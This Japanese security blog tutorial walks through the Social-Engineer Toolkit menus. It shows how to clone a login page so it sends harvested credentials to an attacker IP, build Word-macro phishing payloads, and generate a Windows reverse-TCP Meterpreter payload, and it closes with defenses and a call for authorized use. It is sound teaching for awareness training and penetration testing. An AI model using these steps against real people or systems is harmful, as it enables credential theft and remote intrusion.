Aladdin Security Logo
Aladdin Security
tools

ソーシャルエンジニアリングツールキット「SET」

約5分で読めます

ソーシャルエンジニアリングツールキット「SET」

2025年6月13日

セキュリティエンジニアの曽我です。今回のtoolsシリーズ第8回は、ソーシャルエンジニアリング攻撃のシミュレーションに 特化した「Social-Engineer Toolkit(SET)」について詳しく解説します。技術的なセキュリティ対策が 強化される中、人間の心理を突くソーシャルエンジニアリング攻撃は、依然として最も成功率の高い攻撃手法の一つです。

本記事では、SETの基本的な使い方から実践的な活用法まで、具体的なコマンド例と出力結果を交えながら解説します。 セキュリティ意識向上トレーニングやレッドチーム演習に携わるエンジニアの方々に役立つ内容となっています。

目次

  1. SETとは
  2. インストール方法
  3. 基本的な使い方 3.1. コンソールの起動と基本操作 3.2. Webサイト攻撃ベクトル 3.3. スピアフィッシング攻撃
  4. 高度な使用方法 4.1. カスタムテンプレートの作成 4.2. マルチ攻撃の設定 4.3. カスタムペイロードの実装
  5. 実践的な活用例 5.1. 意識向上トレーニング 5.2. 企業セキュリティ評価 5.3. フィッシング耐性テスト
  6. 対策と防御策
  7. まとめ
  8. 参考資料

1. SETとは

Social-Engineer Toolkit(SET)は、David Kennedy(ReL1K)氏によって開発された、ソーシャルエンジニアリング攻撃に特化したPythonベースのオープンソースフレームワークです。Kali Linuxには標準搭載されており、様々な種類のソーシャルエンジニアリング攻撃をシミュレートするための包括的なツールセットを提供します。

SETの主な特徴:

  • フィッシング攻撃のシミュレーション
  • スピアフィッシングのテスト
  • Webサイトのクローン作成
  • カスタムペイロードの生成
  • メール送信機能
  • QRコード攻撃
  • USBドロップ攻撃のシミュレーション
  • ワイヤレスアクセスポイント攻撃

SETは、組織のセキュリティ意識向上トレーニングや、許可されたペネトレーションテスト中のソーシャルエンジニアリング要素のテストに非常に有用です。

2. インストール方法

Kali Linuxには標準でインストールされていますが、他のディストリビューションへのインストール方法も記載します。

Debian/Ubuntuベースのシステム:

sudo apt update
sudo apt install set

GitHubからのインストール:

git clone https://github.com/trustedsec/social-engineer-toolkit.git
cd social-engineer-toolkit
sudo python setup.py install

インストールが完了したら、以下のコマンドでSETを起動できます:

sudo setoolkit

出力例:

 _________________________________________
/ The Social-Engineer Toolkit (SET)       \
\ Created by: David Kennedy (ReL1K)       /
 -----------------------------------------
        \   ^__^
         \  (oo)\_______
            (__)\       )\/\
                ||----w |
                ||     ||

       =[ metasploit v6.1.27-dev                   ]
+ -- --=[ 2222 exploits - 1124 auxiliary - 368 post       ]
+ -- --=[ 592 payloads - 45 encoders - 10 nops            ]
+ -- --=[ 9 evasion                                       ]

       =[ SET v8.0.3                              ]
+ -- --=[ 19 attack modules                            ]
+ -- --=[ 16 payload options                          ]
+ -- --=[ 10 encoders                                  ]
+ -- --=[ 30 templates                                 ]
+ -- --=[ 7 phishing email templates                   ]

[---] The Social-Engineer Toolkit (SET)
[---] Created by: David Kennedy (ReL1K)
[---] Company: TrustedSec, LLC
[---] Version: 8.0.3
[---] Follow us on Twitter: @TrustedSec
[---] Follow me on Twitter: @HackingDave
[---] Homepage: https://www.trustedsec.com

 Select from the menu:

   1) Social-Engineering Attacks
   2) Penetration Testing (Fast-Track)
   3) Third Party Modules
   4) Update the Social-Engineer Toolkit
   5) Update SET configuration
   6) Help, Credits, and About

  99) Exit the Social-Engineer Toolkit

set>

3. 基本的な使い方

3.1. コンソールの起動と基本操作

SETを起動すると、対話型のメニューが表示されます。基本的な操作は数字を入力して選択肢をナビゲートします。

set> 1

 Select from the menu:

   1) Spear-Phishing Attack Vectors
   2) Website Attack Vectors
   3) Infectious Media Generator
   4) Create a Payload and Listener
   5) Mass Mailer Attack
   6) Arduino-Based Attack Vector
   7) Wireless Access Point Attack Vector
   8) QRCode Generator Attack Vector
   9) Powershell Attack Vectors
  10) SMS Spoofing Attack Vector
  11) Third Party Modules

  99) Return to Main Menu

set:social_engineering>

各メニューを選択することで、それぞれの攻撃ベクトルに関連するオプションが表示されます。

3.2. Webサイト攻撃ベクトル

最も一般的な攻撃ベクトルの一つは、Webサイトのクローン攻撃です:

set:social_engineering> 2

 1) Java Applet Attack Method
 2) Credential Harvester Attack Method
 3) Tabnabbing Attack Method
 4) Web Jacking Attack Method
 5) Multi-Attack Web Method
 6) HTA Attack Method

set:webattack> 2

 1) Web Templates
 2) Site Cloner
 3) Custom Import

set:webattack> 2

set:webattack> IP address for the POST back in Harvester/Tabnabbing [192.168.1.100]:

set:webattack> Enter the url to clone: https://example.com

このコマンドシーケンスでは、Credential Harvester攻撃方法を選択し、特定のWebサイト(example.com)をクローンします。クローンされたサイトは、入力された認証情報を指定したIPアドレスに送信します。

3.3. スピアフィッシング攻撃

特定のターゲットに対するスピアフィッシング攻撃をシミュレートするには:

set:social_engineering> 1

 1) Perform a Mass Email Attack
 2) Create a FileFormat Payload
 3) Create a Social-Engineering Template

set:spear-phishing> 2

 1) Adobe PDF Embedded EXE Social Engineering
 2) Microsoft Word Macro Infection (DEFAULT)
 3) Microsoft Excel Macro Infection
 4) Microsoft PowerPoint Macro Infection
 5) Return to Main Menu

set:spear-phishing> 2

このシーケンスでは、Microsoft Wordマクロを使用したスピアフィッシングペイロードを作成します。攻撃者は通常、この段階でさらに多くのオプション(ペイロードタイプ、送信方法など)を設定します。

4. 高度な使用方法

4.1. カスタムテンプレートの作成

独自のフィッシングテンプレートを作成できます:

set:social_engineering> 1
set:spear-phishing> 3

 1) Pre-Defined Template
 2) Custom Template

set:spear-phishing> 2

カスタムテンプレートを選択すると、メールの件名、送信者、本文などを自由に設定できます。HTMLメールも作成可能です。

4.2. マルチ攻撃の設定

複数の攻撃手法を組み合わせることで、成功率を高めることができます:

set:social_engineering> 2
set:webattack> 5

 The Multi-Attack Attack Vector combines multiple attacks through the web attack
 vector. The concept is simple, select as many attacks as you want and the Social-Engineer
 Toolkit will create a website for you to utilize.

 Select which attacks you want to use:

 1. The Java Applet Attack Method (OFF)
 2. The Metasploit Browser Exploit Method (OFF)
 3. The Credential Harvester Attack Method (OFF)
 4. The Tabnabbing Attack Method (OFF)
 5. The Web Jacking Attack Method (OFF)
 6. The HTA Attack Method (OFF)

set:webattack:multiattack> 3
set:webattack:multiattack> 4
set:webattack:multiattack> 1

 [-] Turning the Java Applet Attack Vector to ON
 [-] Turning the Credential Harvester Attack Vector to ON
 [-] Turning the Tabnabbing Attack Vector to ON

このシーケンスでは、Java Applet、Credential Harvester、Tabnabbingの3つの攻撃手法を組み合わせたマルチ攻撃を設定しています。

4.3. カスタムペイロードの実装

SET内でカスタムペイロードを作成し、リスナーを設定できます:

set:social_engineering> 4

set:payload> Select the type of payload to generate:

 1) Windows Reverse_TCP Meterpreter
 2) Windows Meterpreter (Reflective Injection)
 3) Windows Reverse_TCP VNC
 4) Windows Reverse_TCP X64 Meterpreter
 5) Windows Shell Reverse_TCP
 6) Android Meterpreter (Reverse HTTPS)
 7) macOS Reverse TCP
 8) Linux Reverse TCP

set:payload> 1

set:payload> Enter the LHOST (Your IP Address): 192.168.1.100

set:payload> Enter the LPORT (Default 443): 4444

このシーケンスでは、Windows Reverse_TCP Meterpreterペイロードを作成し、攻撃者マシン(192.168.1.100)のポート4444でリスニングするように設定しています。

5. 実践的な活用例

5.1. 意識向上トレーニング

組織のセキュリティ意識向上トレーニングには、SETを使用したシミュレーション攻撃が効果的です:

  1. 模擬フィッシングキャンペーン

    set:social_engineering> 5  # Mass Mailer Attack
    

    社内従業員に対して、実際のフィッシングメールに似た(但し無害な)メールを送信し、誰がリンクをクリックしたかを追跡します。

  2. フィッシングサイトの認識トレーニング

    set:social_engineering> 2  # Website Attack Vectors
    set:webattack> 2          # Credential Harvester
    

    会社のログインページに似たクローンサイトを作成し、トレーニングセッションで実演します。

  3. セキュリティ意識向上プレゼンテーション: トレーニングセッションでライブデモを行い、ソーシャルエンジニアリング攻撃の仕組みと見分け方を教育します。

5.2. 企業セキュリティ評価

許可されたペネトレーションテストの一環として、以下のようなシナリオでSETを活用できます:

  1. 標的型フィッシング評価

    set:social_engineering> 1  # Spear-Phishing Attack Vectors
    

    特定の役職や部門を標的にした、カスタマイズされたスピアフィッシングを実施します。

  2. 物理的侵入のサポート

    set:social_engineering> 3  # Infectious Media Generator
    

    USBドライブなどの物理メディアを使用した侵入テストをサポートします。

  3. 複合攻撃シナリオ

    set:social_engineering> 2  # Website Attack Vectors
    set:webattack> 5          # Multi-Attack Web Method
    

    複数の攻撃ベクトルを組み合わせた、より現実的な攻撃シナリオをシミュレートします。

5.3. フィッシング耐性テスト

定期的なフィッシング耐性テストを実施し、組織のセキュリティ対策の効果を測定します:

  1. 段階的な難易度設定: 初めは明らかなフィッシングメールから始め、徐々に洗練されたメールへと難易度を上げていきます。

  2. ターゲットグループの設定: 特定の部門や役職に絞ったテストを実施し、組織内の脆弱な部分を特定します。

  3. 結果追跡と分析

    set> 1
    set:social_engineering> 5  # Mass Mailer Attack
    

    クリック率や認証情報の入力率などを追跡し、時間経過と共に改善しているかを分析します。

6. 対策と防御策

SETのようなツールに対する主な防御策は以下の通りです:

  1. 継続的なセキュリティ意識向上トレーニング

    • 定期的なフィッシング認識トレーニング
    • 実際の攻撃例を用いた教育
    • 模擬フィッシングテストの実施
  2. 技術的対策

    • Eメールフィルタリングの強化
    • Webフィルタリングとコンテンツブロック
    • ブラウザセキュリティ拡張機能の導入
    • 多要素認証(MFA)の実装
  3. 組織的対策

    • 明確なセキュリティポリシーの策定
    • インシデント報告プロセスの確立
    • 不審なメールやWebサイトの報告システム
    • 新しい脅威に関する定期的な情報共有
  4. 行動ガイドライン

    • メールのリンクや添付ファイルを開く前の検証手順
    • 個人情報やログイン情報を入力する前のURL確認
    • 不審なリクエストに対する検証プロセス
    • パスワード管理のベストプラクティス

7. まとめ

Social-Engineer Toolkit(SET)は、ソーシャルエンジニアリング攻撃のシミュレーションに特化した強力なフレームワークです。フィッシング、スピアフィッシング、Webサイトクローンなど、多様な攻撃ベクトルをシミュレートする機能を提供します。

特に注目すべき点は、SETが教育とセキュリティテストの両方に活用できることです。組織のセキュリティ意識向上トレーニングや、許可されたペネトレーションテストにおいて、SETは非常に価値のあるツールとなります。実際の攻撃と同様のシナリオを安全に再現することで、組織の防御体制の弱点を特定し、改善することができます。

セキュリティエンジニアを目指す方は、SETの使い方を習得することで、技術的なセキュリティ対策だけでなく、人的要素も含めた総合的なセキュリティ評価能力を向上させることができるでしょう。

ただし、SETのような強力なツールは、必ず適切な許可を得た上で、教育目的または許可されたテストの範囲内でのみ使用することが重要です。不正な利用は法律違反となる可能性があるため、常に倫理的な使用を心がけましょう。

8. 参考資料

  1. Social-Engineer Toolkit 公式GitHub リポジトリ
  2. TrustedSec - SETの開発元
  3. Kali Linux Tools: SET
  4. SANS: Social Engineering Toolkit (SET) Tutorial
  5. Black Hat USA: Advanced Social Engineering
  6. MITRE ATT&CK: Spearphishing
  7. OWASP: Phishing
  8. Social-Engineer.org - The Social Engineering Framework

※本記事の内容は、教育目的および正当なセキュリティテストのためのものです。SETの使用は、自分が所有または正当な許可を得た対象に限定してください。許可なく他者に対してソーシャルエンジニアリング攻撃を実行することは、法律違反となる可能性があります。必ず適切な許可を得た上で実行してください。